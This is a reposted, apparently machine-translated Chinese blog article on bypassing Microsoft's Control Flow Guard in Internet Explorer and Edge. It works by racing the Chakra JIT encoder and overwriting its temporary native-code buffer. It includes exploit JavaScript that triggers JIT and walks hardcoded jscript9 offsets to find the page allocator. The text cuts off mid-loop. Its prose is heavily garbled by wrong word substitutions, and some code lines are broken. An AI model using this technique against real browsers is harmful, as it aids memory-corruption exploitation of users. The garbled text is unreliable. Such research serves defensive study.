基于Chakra JIT的CFG绕过技术 8090安适门户
在本文中,我们将向读者介绍在打击Internet Explorer和Edge浏览器时可用于绕过Microsoft的控制流防护(CFG)的要领。我们以前的观点验证性质的缝隙操作代码是通过笼罩东西的函数指针来实现的。但是,当遇到CFG时,这种要领就不太好使了。我们假设打击者已经获得了读写内存权限。
配景常识
CFG是微软近来为Windows系统添加一种防护机制。该机制通过间接挪用/跳转指令的方针地点的高效查抄来供给掩护。如果您但愿进一步了解CFG的更多详情,可以参阅参考文献[1][2][3],所以我们不做深入细致的讲解。
虽然该缓解机制增加了控制流劫持型打击的难度,但是CFG自己并不完美。该技术的设计方针是掩护间接挪用和跳转,所以,没有为仓库(即ROP仍是可能的)供给掩护。别的,值得注意的是,这是一个编译时插桩技术,需要从头编译源代码。尽管微软此刻的许多二进制文件可以受益于CFG,但还有很多其他措施不是操作CFG掩护机制编译的。
Chakra JIT
Chakra JIT卖力为多次挪用的函数和循环生成优化的JIT代码。这个过程分为多个阶段完成,此中Full JIT Compiler和Garbage Collection阶段是在后台线程中进行的。如果您有兴趣的话,可以从MSDN上找到相关的事情流程和各类图释。
JIT事情流程(摘自MSDN)
我们存眷的重点是Full JIT Compiler阶段,它卖力获取字节码和输出本地代码。针对单个函数或循环的高级措置惩罚惩罚是在Func::Codegen()中进行的。首先,它会生成字节码的中间暗示(IR)。然后,这些IR将被转换若干次:优化、寄存器分配、prolog和epilog等。一旦IR筹备就绪,就会被Encoder::Encode()编码为本地代码。
// https://github.com/Microsoft/ChakraCore/blob/master/lib/Backend/Encoder.cpp#L15
void
Encoder::Encode()
{
NoRecoverMemoryArenaAllocator localAlloc(_u("BE-Encoder"), m_func->m_alloc->GetPageAllocator(), Js::Throw::OutOfMemory);
m_tempAlloc = &localAlloc;
...
m_encodeBuffer = AnewArray(m_tempAlloc, BYTE, m_encodeBufferSize);
...
}
实际上,真正生成实际本地代码的任务是由Encoder完成的。首先,它会分配m_encodeBuffer到姑且存放本地代码。当所有本地指令被发送到m_encodeBuffer之后,Encoder将对该缓冲区进行从头定位,将其复制到read-only-execute内存,并凭据CFG的要求措置惩罚惩罚挪用方针。此时,该姑且缓冲区就不再使用,所以可以释放了。
// https://github.com/Microsoft/ChakraCore/blob/master/lib/Backend/Encoder.cpp#L294
...
m_encoderMD.ApplyRelocs((size_t) workItem->GetCodeAddress());
workItem->RecordNativeCode(m_func, m_encodeBuffer);
m_func->GetScriptContext()->GetThreadContext()->SetValidCallTargetForCFG((PVOID) workItem->GetCodeAddress());
...
注意,一旦代码被复制到可执行内存后,就很难改削了。但是,当Encoder在这个姑且缓冲器中生成本地代码时,是无法防备打击者操作写入内存权限来变动姑且缓冲器中的代码的。由于JIT进程位于后台线程中,所以JavaScript线程仍然可以正常运行。打击者的难点是找到该姑且缓冲区,并在Encoder运行的极短时间内完成相应的改削任务。
绕过CFG防护
既然已经知道了改削JIT代码的根基要领,下面就让我们付诸步履,以便设法绕过CFG。
我们的过程分为三步:
触发JIT。
查找姑且的本地代码缓冲区。
改削缓冲区的内容。
固然,这里隐含的最后一步是执行JIT措置惩罚惩罚过的代码。
触发JIT
第一步,也是最简单的一步,就是触发JIT,让它开始对一个函数进行编码。为了使第二步变得更容易一些,我们但愿函数的代码多一些,以便我们有足够的时间在内存中寻找该姑且缓冲区。固然,函数中的具体指令是无关紧要的。
var code = "var i = 10; var j = 1; ";
for (var i = 0; i
{
code += "i *= i + j.toString();";
}
code += "return i.toString();"
f = Function(code);
for (var i = 0; i
{
// trigger jit
f.call();
}
查找本机代码缓冲区
一旦后台线程进入Encoder::Encode(),我们需要快速找来姑且本地代码缓冲区。发明缓冲区的一种要领是,找到给该缓冲区分配内存的页分配器,然后逐个检察它分配的内存段。我们注意到,可以先找到ThreadContext,然后找到该后台线程的BackgroundJobProcessor,这样就可以找到该页面分配器的引用了。
// find the ThreadContext using ThreadContext::globalListLast
var tctx = readN(jscript9Base + 0x00349034, 4);
// BackgroundJobProcessor
var bgjob = readN(tctx + 0x3b0, 4);
// PageAllocator
var pgalloc = bgjob + 0x1c;
PageAllocator具有若干已分配段的列表。由于经JIT措置惩罚惩罚过的函数会变大,所以该姑且本地代码缓冲器也将很大。所以,通过查抄largeSegments列表,我们就可以轻松找到该内存段了。我们可以使用一个while循环,这样一直等到这个largeSegments列表变为非空,然后进入最后一步。
while (true) {
// read largeSegments list
var largeseg = readN(pgalloc + 0x24, 4);
温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/13382.html